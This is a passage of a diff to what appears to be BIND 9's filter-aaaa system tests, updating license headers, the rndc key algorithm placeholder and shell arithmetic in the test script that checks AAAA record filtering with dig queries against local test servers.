 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns1/unsigned.db b/bin/tests/system/filter-aaaa/ns1/unsigned.db
index 8b422584f4..abc3947c82 100644
--- a/bin/tests/system/filter-aaaa/ns1/unsigned.db
+++ b/bin/tests/system/filter-aaaa/ns1/unsigned.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns2/hints b/bin/tests/system/filter-aaaa/ns2/hints
index fbf01a9369..fa0d3e4c88 100644
--- a/bin/tests/system/filter-aaaa/ns2/hints
+++ b/bin/tests/system/filter-aaaa/ns2/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns2/named1.conf.in b/bin/tests/system/filter-aaaa/ns2/named1.conf.in
index bb2f6cbfc2..2a1486d56a 100644
--- a/bin/tests/system/filter-aaaa/ns2/named1.conf.in
+++ b/bin/tests/system/filter-aaaa/ns2/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/ns2/named2.conf.in b/bin/tests/system/filter-aaaa/ns2/named2.conf.in
index 9d779d9870..4e5a1ef095 100644
--- a/bin/tests/system/filter-aaaa/ns2/named2.conf.in
+++ b/bin/tests/system/filter-aaaa/ns2/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/ns3/hints b/bin/tests/system/filter-aaaa/ns3/hints
index fbf01a9369..fa0d3e4c88 100644
--- a/bin/tests/system/filter-aaaa/ns3/hints
+++ b/bin/tests/system/filter-aaaa/ns3/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns3/named1.conf.in b/bin/tests/system/filter-aaaa/ns3/named1.conf.in
index 602fadd573..602859b752 100644
--- a/bin/tests/system/filter-aaaa/ns3/named1.conf.in
+++ b/bin/tests/system/filter-aaaa/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/ns3/named2.conf.in b/bin/tests/system/filter-aaaa/ns3/named2.conf.in
index 372cf66b11..db449afb9e 100644
--- a/bin/tests/system/filter-aaaa/ns3/named2.conf.in
+++ b/bin/tests/system/filter-aaaa/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/ns4/named1.conf.in b/bin/tests/system/filter-aaaa/ns4/named1.conf.in
index 0f48a9e541..0aa30071e8 100644
--- a/bin/tests/system/filter-aaaa/ns4/named1.conf.in
+++ b/bin/tests/system/filter-aaaa/ns4/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/ns4/named2.conf.in b/bin/tests/system/filter-aaaa/ns4/named2.conf.in
index c11a8024ed..e534e54a80 100644
--- a/bin/tests/system/filter-aaaa/ns4/named2.conf.in
+++ b/bin/tests/system/filter-aaaa/ns4/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/ns4/root.db b/bin/tests/system/filter-aaaa/ns4/root.db
index 1511cc9ab5..7984c37099 100644
--- a/bin/tests/system/filter-aaaa/ns4/root.db
+++ b/bin/tests/system/filter-aaaa/ns4/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns4/sign.sh b/bin/tests/system/filter-aaaa/ns4/sign.sh
index 3cc8ed5861..b9ce09ff30 100755
--- a/bin/tests/system/filter-aaaa/ns4/sign.sh
+++ b/bin/tests/system/filter-aaaa/ns4/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/filter-aaaa/ns4/signed.db.in b/bin/tests/system/filter-aaaa/ns4/signed.db.in
index 623b2b95b2..fa521068e2 100644
--- a/bin/tests/system/filter-aaaa/ns4/signed.db.in
+++ b/bin/tests/system/filter-aaaa/ns4/signed.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns4/unsigned.db b/bin/tests/system/filter-aaaa/ns4/unsigned.db
index 8f155bb965..4baa4628d0 100644
--- a/bin/tests/system/filter-aaaa/ns4/unsigned.db
+++ b/bin/tests/system/filter-aaaa/ns4/unsigned.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns5/hints b/bin/tests/system/filter-aaaa/ns5/hints
index fbf01a9369..fa0d3e4c88 100644
--- a/bin/tests/system/filter-aaaa/ns5/hints
+++ b/bin/tests/system/filter-aaaa/ns5/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns5/named.conf.in b/bin/tests/system/filter-aaaa/ns5/named.conf.in
index 4d3aa0b76e..36380cd321 100644
--- a/bin/tests/system/filter-aaaa/ns5/named.conf.in
+++ b/bin/tests/system/filter-aaaa/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -35,7 +37,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/setup.sh b/bin/tests/system/filter-aaaa/setup.sh
index 2d227377d7..c3901c575b 100644
--- a/bin/tests/system/filter-aaaa/setup.sh
+++ b/bin/tests/system/filter-aaaa/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/filter-aaaa/tests.sh b/bin/tests/system/filter-aaaa/tests.sh
index 4f0e962bfa..5ed97eb237 100644
--- a/bin/tests/system/filter-aaaa/tests.sh
+++ b/bin/tests/system/filter-aaaa/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -21,22 +25,22 @@ RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 
 for conf in conf/good*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that $conf is accepted ($n)"
 	ret=0
 	$CHECKCONF "$conf" || ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
 for conf in conf/bad*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that $conf is rejected ($n)"
 	ret=0
 	$CHECKCONF "$conf" >/dev/null && ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
 #
@@ -44,25 +48,25 @@ done
 #	filter-aaaa-on-v4 yes;
 #	filter-aaaa { 10.53.0.1; };
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, signed ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.signed -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep "AUTHORITY: 1," dig.out.ns1.test$n > /dev/null || ret=1
 grep ::2 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, unsigned ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep "AUTHORITY: 1," dig.out.ns1.test$n > /dev/null || ret=1
 grep ::5 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -70,9 +74,9 @@ grep "ANSWER: 0" dig.out.ns1.test$n > /dev/null || ret=1
 grep "AUTHORITY: 0" dig.out.ns1.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -80,18 +84,18 @@ grep "ANSWER: 0" dig.out.ns1.test$n > /dev/null || ret=1
 grep "AUTHORITY: 0" dig.out.ns1.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist, signed and DO set ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed +dnssec -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep "AUTHORITY: 2," dig.out.ns1.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned and DO set ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -99,9 +103,9 @@ grep "ANSWER: 0" dig.out.ns1.test$n > /dev/null || ret=1
 grep "AUTHORITY: 0," dig.out.ns1.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist and query source does not match acl ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.2 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -109,9 +113,9 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "AUTHORITY: 1," dig.out.ns1.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed and qtype=ANY ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -119,9 +123,9 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns1.test$n > /dev/null || ret=1
 grep "::3" dig.out.ns1.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned and qtype=ANY ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -129,9 +133,9 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns1.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns1.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, signed, qtype=ANY and DO is set ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed +dnssec -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -140,9 +144,9 @@ grep "AUTHORITY: 2," dig.out.ns1.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns1.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned, qtype=ANY and DO is set ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned +dnssec -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -150,9 +154,9 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns1.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns1.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, qtype=ANY and query source does not match acl ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b 10.53.0.2 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -161,9 +165,9 @@ grep "AUTHORITY: 1," dig.out.ns1.test$n > /dev/null || ret=1
 grep 1.0.0.6 dig.out.ns1.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A record exists, unsigned over IPv6 ($n)"
 if testsock6 fd92:7065:b8e:ffff::1
 then
@@ -172,12 +176,12 @@ $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::1
 grep 2001:db8::6 dig.out.ns1.test$n > /dev/null || ret=1
 grep "AUTHORITY: 1," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 else
 echo_i "skipped."
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=NS ($n)"
 ret=0
 $DIG $DIGOPTS +add ns unsigned -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
@@ -185,26 +189,26 @@ grep AAAA dig.out.ns1.test$n > /dev/null 2>&1 && ret=1
 grep "ANSWER: 1," dig.out.ns1.test$n > /dev/null || ret=1
 grep "ADDITIONAL: 2" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, unsigned ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns1.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, signed ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx signed -b 10.53.0.1 @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep "^mx.signed.*AAAA" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 grep "AUTHORITY: 2," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, unsigned, over IPv6 ($n)"
 if testsock6 fd92:7065:b8e:ffff::1
 then
@@ -213,7 +217,7 @@ $DIG $DIGOPTS +add +dnssec mx unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:f
 grep "^mx.unsigned.*AAAA" dig.out.ns1.test$n > /dev/null 2>&1 || ret=1
 grep "AUTHORITY: 1," dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 else
 echo_i "skipped."
 fi
@@ -223,25 +227,25 @@ fi
 #	filter-aaaa-on-v4 break-dnssec;
 #	filter-aaaa { 10.53.0.4; };
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, signed with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.signed -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "AUTHORITY: 1," dig.out.ns4.test$n > /dev/null || ret=1
 grep ::2 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when only AAAA record exists, unsigned with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "AUTHORITY: 1," dig.out.ns4.test$n > /dev/null || ret=1
 grep ::5 dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
@@ -249,45 +253,45 @@ grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
 grep "AUTHORITY: 0," dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, signed and DO set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.signed +dnssec -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned and DO set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.4 @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist and query source does not match acl with break-dnssec ($n)"
 ret=0
